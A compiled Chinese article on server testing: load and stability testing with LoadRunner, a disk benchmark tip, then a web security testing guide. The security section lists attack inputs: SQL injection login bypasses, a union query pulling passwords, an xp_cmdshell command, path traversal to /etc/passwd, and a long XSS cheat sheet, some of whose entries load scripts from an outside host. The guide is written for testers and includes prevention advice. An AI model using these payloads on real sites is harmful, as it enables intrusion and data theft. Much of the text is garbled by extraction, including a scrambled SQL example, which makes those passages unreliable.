如何測試伺服器安全性

⑴ 如何測試伺服器的穩定性

伺服器穩定性是最重要的，如果在穩定性方面不能夠保證業務運行的需要，在高的性能也是無用的。
正規的伺服器廠商都會對產品驚醒不同溫度和濕度下的運行穩定性測試。重點要考慮的是冗餘功能，如：數據冗餘、網卡榮譽、電源冗餘、風扇冗餘等。
一些測試方法主要分以下幾種：
壓力測試：已知系統高峰期使用人數，驗證各事務在最大並發數(通過高峰期人數換算)下事務響應時間能夠達到客戶要求。系統各性能指標在這種壓力下是否還在正常數值之內。系統是否會因這樣的壓力導致不良反應(如：宕機、應用異常中止等)。
Ramp Up 增量設計：如並發用戶為75人，系統注冊用戶為1500人，以5%-7%作為並發用戶參考值。一般以每15s載入5人的方式進行增壓設計，該數值主要參考測試加壓機性能，建議Run幾次。以事務通過率與錯誤率衡量實際載入方式。
Ramp Up增量設計目標： 尋找已增量方式加壓系統性能瓶頸位置，抓住出現的性能拐點時機，一般常用參考Hits點擊率與吞吐量、CPU、內存使用情況綜合判斷。模擬高峰期使用人數，如早晨的登錄，下班後的退出，工資發送時的消息系統等。
另一種極限模擬方式，可視為在峰值壓力情況下同時點擊事務操作的系統極限操作指標。加壓方式不變，在各腳本事務點中設置同集合點名稱(如：lr_rendzvous("same");)在場景設計中，使用事務點集合策略。以同時達到集合點百分率為標准，同時釋放所有正在Run的Vuser。
穩定性測試：已知系統高峰期使用人數、各事務操作頻率等。設計綜合測試場景，測試時將每個場景按照一定人數比率一起運行，模擬用戶使用數年的情況。並監控在測試中，系統各性能指標在這種壓力下是否能保持正常數值。事務響應時間是否會出現波動或隨測試時間增漲而增加。系統是否會在測試期間內發生如宕機、應用中止等異常情況。
根據上述測試中，各事務條件下出現性能拐點的位置，已確定穩定性測試並發用戶人數。仍然根據實際測試伺服器(加壓機、應用伺服器、數據伺服器三方性能)，估算最終並發用戶人數。
場景設計思想：
從穩定性測試場景的設計意義，應分多種情況考慮：
針對同一個場景為例，以下以公文附件上傳為例簡要分析場景設計思想：
1)場景一：已壓力測試環境下性能拐點的並發用戶為設計測試場景，目的驗證極限壓力情況下測試伺服器各性能指標。
2)場景二：根據壓力測試環境中CPU、內存等指標選取伺服器所能承受最大壓力的50%來確定並發用戶數。
測試方法：採用1)Ramp Up-Load all Vusers simultaneously
2)Duration-Run Indefinitely
3)在Sechele-勾選Initalize all Vusers before Run
容錯性測試：通過模擬一些非正常情況(如：伺服器突然斷電、網路時斷時續、伺服器硬碟空間不足等)，驗證系統在發生這些情況時是否能夠有自動處理機制以保障系統的正常運行或恢復運行措施。如有HA(自動容災系統)，還可以專門針對這些自動保護系統進行另外的測試。驗證其能否有效觸發保護措施。
問題排除性測試：通過原有案例或經驗判斷，針對系統中曾經發生問題或懷疑存在隱患的模塊進行驗證測試。驗證這些模塊是否還會發生同樣的性能問題。如：上傳附件模塊的內存泄露問題、地址本模塊優化、開啟Tivoli性能監控對OA系統性能的影響等等。
測評測試是用於獲取系統的關鍵性能指標點，而進行的相關測試。主要是針對預先沒有明確的預期測試結果，而是要通過測試獲取在特定壓力場景下的性能指標(如：事務響應時間、最大並發用戶數等)。
評測事務交易時間：為獲取某事務在特定壓力下的響應時間而進行的測試活動。通過模擬已知客戶高峰期的各壓力值或預期所能承受的壓力值，獲取事務在這種壓力下的響應時間。
評測事務最大並發用戶數：為獲取某事務在特定系統環境下所能承受的最大並發用戶數而進行的測試活動。通過模擬真實環境或直接採用真實環境，評測在這種環境下事務所能承受的最大並發用戶數。判定標准閾值需預先定義(如響應時間，CPU佔用率，內存佔用率，已出現點擊率峰值，已出現吞吐量峰值等)。
評測系統最大並發用戶數：為獲取整個系統所能夠承受的最大並發用戶數而進行的的測試活動。通過預先分析項目各主要模塊的使用比率和頻率，定義各事務在綜合場景中所佔的比率，以比率方式分配各事務並發用戶數。模擬真實環境或直接採用真實環境，評測在這種環境下系統所能承受的最大並發用戶數。判定標准閥值預先定義(如響應時間，CPU佔用率，內存佔用率，已出現點擊率峰值，已出現吞吐量峰值等)。取值標准以木桶法則為准(並發數最小的事務為整個系統的並發數)。
評測不同資料庫數據量對性能的影響：針對不同資料庫數據量的測試，將測試結果進行對比，分析發現資料庫中各表的數據量對事務性能的影響。得以預先判斷系統長時間運行後，或某些模塊客戶要求數據量較大時可能存在的隱患。
問題定位測試在通過以上測試或用戶實際操作已經發現系統中的性能問題或懷疑已存在性能問題。需通過響應的測試場景重現問題或定義問題。如有可能，可以直接找出引起性能問題所在的代碼或模塊。
該類測試主要還是通過測試出問題的腳本場景，並可以增加發現和檢測的工具，如開啟Tivoli性能監控、開啟HeapDump輸出、Linux資源監控命令等。並在場景運行過程中輔以手工測試。

⑵ 性能測試怎麼測伺服器的穩定性

首先需要在你的伺服器上下載安裝HD Tune，這是國外的一款免費硬碟檢測軟體，默認是英文界面，不過大家可以在網上搜一下也能找到中文版的HD Tune軟體。
用HDtune對硬碟進行讀取性能測試。在軟體窗口的「基準」選項頁面中，點擊左上角的下拉列表選擇要進行性能測試的硬碟，軟體默認為「讀取」測試，然後點擊右邊的「開始（Start）」，如下圖所示：

華雲數據的雲伺服器開通後默認磁碟未分區，要通過該軟體測試寫入速率再開始測試。

⑶ 如何進行WEB安全性測試

安全性測試主要從以下方面考慮 主要從以下方面考慮： WEB 的安全性測試主要從以下方面考慮： Injection(sql 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如 搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對 於未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個 參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登 錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：為什麼是 OR， 以及',――是特殊的字元呢？ 例子：在登錄時進行身份驗證時，通常使用如下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如 輸入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 語句會變成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將 按下一個查詢條件來執行. 接 下來是 OR 查詢條件,OR 是一個邏輯運 算符， 在判斷多個條件的時候， 只要一 個成立，則等式就成立，後面的 AND 就不再時行判斷了，也就是 說我們繞過了密碼 驗證，我們只用用戶名就可以登錄. 如 輸入 http://ck/index.asp?username=admin'--&pwd=11，SQL 語 admin'-admin'-11 句會 變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查 詢條件,即 username='admin',接下來的語句將按 下一個查詢條件來執行 接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗 證(注:對 ACCESS 資料庫 資料庫無 效). 最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如 果 能說明存在 SQL 安 全漏洞. 試想,如果網站存在 SQL 注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結 構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作 工作: 工作 轉義敏感字元及字元串(SQL 的敏感字元包括 「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」, 和」空格」). 屏蔽出錯信息：阻止攻擊者知道攻擊的結果 在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將 安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗 以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就 是禁止輸入敏感字元) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序 應給出不包含任何代碼或資料庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊 跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? <!--[if !supportLists]-->首先,找到帶有參數傳遞的 URL,如 交評論,發表留言 頁面等等。 登錄頁面,搜索頁面,提 <!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最後,當用戶瀏覽 時便會彈出一個警告框，內容顯示的是瀏覽者當前的 cookie 串,這就 說明該網站存在 XSS 漏洞。 試想如果我們注入的不是以上這個簡單的測試代碼，而是一段經常精心設計的惡意腳 本，當用戶瀏覽此帖時，cookie 信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號 就很容易被攻擊者掌控了。 (2)如何預防 XSS 漏洞? 從應用程序的角度來講,要進行以下幾項預防: 對 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 語句或腳本進行轉義. 在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成 XSS 檢查: 在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進 行驗證，著重驗證是否對 HTML 或腳本代碼進行了轉義。 執行測試過程中也應對上述項進行檢查。 3.CSRF:(跨站點偽造請求) 3.CSRF:(跨站點偽造請求) CSRF:(跨站點偽造請求 CSRF 盡管聽起來像跨站腳本（XSS），但它與 XSS 非常不同，並且攻擊方式 幾乎相左。 XSS 是利用站點內的信任用戶，而 CSRF 則通過偽裝來自受信任用戶的請求 來利用受信任的網站。 XSS 也好， CSRF 也好， 它的目的在於竊取用戶的信息， SESSION 和 COOKIES 如 （關於 SESSION 和 COOKIES 的介紹請參見我的另一篇 BLOG： http://www.51testing.com/?49689/action_viewspace_itemid_74885.html）， (1)如何進行 CSRF 測試？ 關於這個主題本人也正在研究，目前主要通過安全性測試工具來進行檢查。 (2)如何預防 CSRF 漏洞？ 請參見 http://www.hanguofeng.cn/archives/security/preventing-csrf 請 參見 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(郵件標頭注入 郵件標頭注入) 4.Email Header Injection(郵件標頭注入) Email Header Injection：如果表單用於發送 email,表單中可能包括 「subject」輸入項（郵件標題），我們要驗證 subject 中應能 escape 掉「\n」 標識。 <!--[if !supportLists]--><!--[endif]-->因為「\n」是新行，如果在 subject 中輸入「hello\ncc:[email protected]」，可能會形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的 其它用 subject， 那他可能會給利用這個缺陷通過我們的平台給其它 戶發送垃 其它 圾郵件。 Traversal(目錄遍歷 目錄遍歷) 5.Directory Traversal(目錄遍歷) （1）如何進行目錄遍歷測試？ 目錄遍歷產生的原因是：程序中沒有過濾用戶輸入的「../」和「./」之 類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的 任意文件。 測試方法： URL 中輸入一定數量的 在 「../」 「./」 驗證系統是否 ESCAPE 和 ， 掉了這些目錄跳轉符。 （2）如何預防目錄遍歷？ 限制 Web 應用在伺服器上的運行  進 行嚴格的輸入驗證，控制用戶輸入非法路徑 messages(錯誤信息 錯誤信息) 6.exposed error messages(錯誤信息) （1）如何進行測試？ 首 先找到一些錯誤頁面，比如 404,或 500 頁面。 驗證在調試未開通過的情況下， 是否給出了友好的錯誤提示信息比如「你 訪問的頁面不存 在」等，而並非曝露一些程序代碼。 （2）如何預防？ 測試人員在進行需求檢查時，應該對出錯信息 進行詳細查，比如是否給 出了出錯信息，是否給出了正確的出錯信息。